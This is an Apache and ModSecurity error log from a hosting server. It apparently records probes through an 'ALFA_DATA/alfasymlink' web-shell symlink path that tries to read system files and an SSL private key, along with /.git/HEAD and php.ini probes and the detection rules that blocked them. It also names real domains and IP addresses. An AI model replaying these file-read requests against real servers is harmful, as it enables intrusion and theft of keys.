[Sun Oct 25 17:38:12.774772 2026] [security2:error] [pid 2905737:tid 2905737] [client 85.208.96.211:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b0e34_ade07_745c98b16c54f79c0a69b8691ae447b0.key"] [unique_id "at52xCyjhNt8noxK2JA8-gAAABA"]
[Sun Oct 25 17:38:12.775123 2026] [security2:error] [pid 2905737:tid 2905737] [client 85.208.96.211:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b0e34_ade07_745c98b16c54f79c0a69b8691ae447b0.key"] [unique_id "at52xCyjhNt8noxK2JA8-gAAABA"]
[Sun Oct 25 17:38:12.958031 2026] [security2:error] [pid 2899543:tid 2899543] [client 68.183.238.167:63557] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/wp/"] [unique_id "at52xMY9yad2bfqj7tUHogAAAAo"], referer: recruit.ufi.co.jp/blog//wp-login.php
[Sun Oct 25 17:38:12.958070 2026] [security2:error] [pid 2899543:tid 2899543] [client 68.183.238.167:63557] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/wp/"] [unique_id "at52xMY9yad2bfqj7tUHogAAAAo"], referer: recruit.ufi.co.jp/blog//wp-login.php
[Sun Oct 25 17:38:19.619780 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 83.104.137.251:58219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/remote_node_defrag_ratio
[Sun Oct 25 17:38:21.044429 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 108.195.78.248:56768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/remote_node_defrag_ratio
[Sun Oct 25 17:38:23.152220 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 44.217.255.167:3962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:04/eject
[Sun Oct 25 17:38:23.288806 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 45.235.120.54:60404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/remote_node_defrag_ratio
[Sun Oct 25 17:38:30.878357 2026] [ssl:error] [pid 2906289:tid 2906289] (70014)End of file found: [client 18.213.102.186:36850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:33.535887 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 185.191.171.4:36440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:33.701779 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 185.191.171.4:36454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:38.800287 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 54.156.124.2:32663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:38.854251 2026] [security2:error] [pid 2897949:tid 2897949] [client 16.216.88.247:4096] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/dumpe2fs"] [unique_id "at523tBbBSGZ3kM8A7vDaAAAAB4"]
[Sun Oct 25 17:38:38.854293 2026] [security2:error] [pid 2897949:tid 2897949] [client 16.216.88.247:4096] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/dumpe2fs"] [unique_id "at523tBbBSGZ3kM8A7vDaAAAAB4"]
[Sun Oct 25 17:38:42.787948 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 52.4.76.156:41252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/resource0
[Sun Oct 25 17:38:43.138558 2026] [security2:error] [pid 2904909:tid 2904909] [client 107.172.76.131:64937] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at521_Zp8j_cPCCtviROegAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:38:43.138623 2026] [security2:error] [pid 2904909:tid 2904909] [client 107.172.76.131:64937] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at521_Zp8j_cPCCtviROegAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:38:46.731671 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 3.232.39.98:34598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:38:54.687883 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.225.24.180:34211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:02.549494 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 54.83.56.1:22835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:06.517398 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 34.231.181.240:55291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:10.545215 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 3.93.253.174:41649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0B00:00/subsystem/devices/device:20/subsystem/drivers/ec/unbind
[Sun Oct 25 17:39:18.408005 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 54.197.82.195:30273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:22.379392 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.85.126.86:58463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:26.356561 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 52.3.127.170:31650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:39:43.217398 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 75.180.97.162:35386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/cpu_partial
[Sun Oct 25 17:39:52.401674 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 86.2.38.19:55968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/cpu_partial
[Sun Oct 25 17:39:58.219527 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 34.231.181.240:59616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:40:06.278150 2026] [ssl:error] [pid 2904864:tid 2904864] (70014)End of file found: [client 3.215.221.125:58547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:40:26.196825 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 52.54.249.218:57654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:40:42.225909 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 54.86.59.155:28645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:40:50.184046 2026] [ssl:error] [pid 2906176:tid 2906176] (70014)End of file found: [client 44.213.36.21:33686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:40:58.162130 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 3.94.157.25:56494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/devices/platform/alarmtimer/driver/uevent
[Sun Oct 25 17:41:00.178135 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 85.208.96.199:18826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:41:10.194856 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 50.19.102.70:44564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:41:14.181215 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 100.28.57.133:60996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:41:22.379006 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 3.226.34.98:39911] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/drivers/ata_piix/bind
[Sun Oct 25 17:41:26.177192 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.87.62.248:22908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:41:30.157426 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 3.215.59.93:56880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:41:38.187401 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 107.22.208.39:37845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/driver/uevent
[Sun Oct 25 17:41:50.557255 2026] [authz_core:error] [pid 2899920:tid 2899920] [client 34.140.3.155:34544] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:41:50.969721 2026] [authz_core:error] [pid 2897949:tid 2897949] [client 34.140.3.155:32278] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:42:01.111196 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 85.208.96.211:54562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:42:09.285071 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 200.2.163.172:3479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects_partial
[Sun Oct 25 17:42:10.156920 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 52.45.77.169:42546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/MPTCP/reclaim_account
[Sun Oct 25 17:42:11.551708 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 197.119.250.6:64741] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects_partial
[Sun Oct 25 17:42:13.567396 2026] [security2:error] [pid 2897962:tid 2897962] [client 107.172.76.131:64932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at53qWAGa5qz8A1ZLhszDQAAACs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:42:13.567460 2026] [security2:error] [pid 2897962:tid 2897962] [client 107.172.76.131:64932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at53qWAGa5qz8A1ZLhszDQAAACs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 17:42:13.592629 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 87.116.167.124:40268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects_partial
[Sun Oct 25 17:42:17.773835 2026] [security2:error] [pid 2905736:tid 2905736] [client 16.216.88.175:12288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/scripts/optimize_eximstats"] [unique_id "at53uU-8NeRgcDvBYp9ongAAAA8"]
[Sun Oct 25 17:42:17.773890 2026] [security2:error] [pid 2905736:tid 2905736] [client 16.216.88.175:12288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/scripts/optimize_eximstats"] [unique_id "at53uU-8NeRgcDvBYp9ongAAAA8"]
[Sun Oct 25 17:42:23.536460 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 185.234.26.74:15643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects
[Sun Oct 25 17:42:25.982320 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 47.214.25.181:35339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects
[Sun Oct 25 17:42:27.804761 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 92.211.29.156:29685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objects
[Sun Oct 25 17:42:44.176721 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 172.59.64.146:8043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/destroy_by_rcu
[Sun Oct 25 17:42:51.895667 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 165.16.106.135:56876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/destroy_by_rcu
[Sun Oct 25 17:42:52.218213 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 181.9.207.235:1352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/sanity_checks
[Sun Oct 25 17:42:54.230828 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 105.72.193.108:56602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/destroy_by_rcu
[Sun Oct 25 17:42:54.546521 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 181.91.250.71:48268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/sanity_checks
[Sun Oct 25 17:42:57.045775 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 90.206.249.55:1295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/sanity_checks
[Sun Oct 25 17:42:58.448742 2026] [ssl:error] [pid 2906701:tid 2906701] (70014)End of file found: [client 85.208.96.194:51166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:10.192274 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.236.135.14:58795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:14.233578 2026] [ssl:error] [pid 2906176:tid 2906176] (70014)End of file found: [client 44.208.223.68:12962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:18.210983 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 23.21.119.232:48413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:26.191547 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 52.5.232.250:41509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:31.699412 2026] [authz_core:error] [pid 2905737:tid 2905737] [client 52.231.25.234:4748] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:43:38.984193 2026] [cgi:error] [pid 2905737:tid 2905737] [client 52.231.25.234:4748] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 17:43:42.247583 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 52.200.251.20:60646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:46.226395 2026] [ssl:error] [pid 2904864:tid 2904864] (70014)End of file found: [client 34.202.88.37:54840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:54.200576 2026] [ssl:error] [pid 2906176:tid 2906176] (70014)End of file found: [client 54.157.84.74:60741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:43:54.540076 2026] [security2:error] [pid 2897967:tid 2897967] [client 92.118.39.93:29770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at54GhVtY6H0wJd2uaILDgAAADA"]
[Sun Oct 25 17:43:54.540325 2026] [security2:error] [pid 2897967:tid 2897967] [client 92.118.39.93:29770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at54GhVtY6H0wJd2uaILDgAAADA"]
[Sun Oct 25 17:43:54.540635 2026] [security2:error] [pid 2897967:tid 2897967] [client 92.118.39.93:29770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at54GhVtY6H0wJd2uaILDgAAADA"]
[Sun Oct 25 17:44:01.822757 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 45.176.233.29:18289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/destroy_by_rcu
[Sun Oct 25 17:44:02.242969 2026] [ssl:error] [pid 2905725:tid 2905725] (5)Input/output error: [client 100.28.49.152:26455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:44:03.611887 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 73.76.180.248:44206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/destroy_by_rcu
[Sun Oct 25 17:44:06.156007 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 44.223.116.149:26355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:44:08.144780 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 68.99.165.221:50689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/destroy_by_rcu
[Sun Oct 25 17:44:16.719600 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 142.198.184.141:35520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/object_size
[Sun Oct 25 17:44:17.232466 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 69.4.171.45:47728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/min_partial
[Sun Oct 25 17:44:20.759110 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 81.79.165.65:44700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/min_partial
[Sun Oct 25 17:44:23.578686 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 190.142.217.114:40826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objects_partial
[Sun Oct 25 17:44:27.516336 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 109.107.225.94:43679] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objects_partial
[Sun Oct 25 17:44:28.929990 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 143.105.151.117:15916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/objects_partial
[Sun Oct 25 17:44:30.317451 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 18.215.24.66:32601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:44:38.159515 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.207.47.227:32207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:44:43.507271 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 179.84.195.110:46787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/total_objects
[Sun Oct 25 17:44:46.006561 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 79.106.215.158:44622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/total_objects
[Sun Oct 25 17:44:54.309357 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.200.54.136:40098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:02.085202 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.191.171.18:24806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/America/Santo_Domingo"] [unique_id "at54Xh8fO9KwLgqLGMRCNAAAAAc"]
[Sun Oct 25 17:45:02.085240 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.191.171.18:24806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/America/Santo_Domingo"] [unique_id "at54Xh8fO9KwLgqLGMRCNAAAAAc"]
[Sun Oct 25 17:45:06.219495 2026] [ssl:error] [pid 2906289:tid 2906289] (70014)End of file found: [client 34.224.9.144:38923] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:14.156788 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 98.82.66.172:62468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:30.147154 2026] [ssl:error] [pid 2906289:tid 2906289] (70014)End of file found: [client 3.93.211.16:20789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:38.698064 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 69.174.144.146:30744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/slabs_cpu_partial
[Sun Oct 25 17:45:47.455704 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 85.208.96.196:14976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/ctor
[Sun Oct 25 17:45:49.527457 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 190.97.230.138:45982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slab_size
[Sun Oct 25 17:45:50.148854 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 18.214.138.148:11905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:51.099686 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 91.200.54.16:45500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slab_size
[Sun Oct 25 17:45:51.999826 2026] [core:error] [pid 2904864:tid 2904864] (13)Permission denied: [client 185.191.171.15:16880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/order
[Sun Oct 25 17:45:54.170951 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 52.204.253.129:63621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:45:59.139494 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 185.191.171.19:50790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ib_core/sections/__kcrctab_gpl
[Sun Oct 25 17:46:06.166722 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 54.87.95.7:56202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:46:06.225635 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 181.197.126.213:54899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/shrink
[Sun Oct 25 17:46:07.670529 2026] [security2:error] [pid 2899619:tid 2899619] [client 107.172.76.131:64942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at54k_U7CHxL1Z61W2QUmgAAAD8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:46:07.670582 2026] [security2:error] [pid 2899619:tid 2899619] [client 107.172.76.131:64942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at54k_U7CHxL1Z61W2QUmgAAAD8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 17:46:08.633575 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 172.56.108.19:45379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/shrink
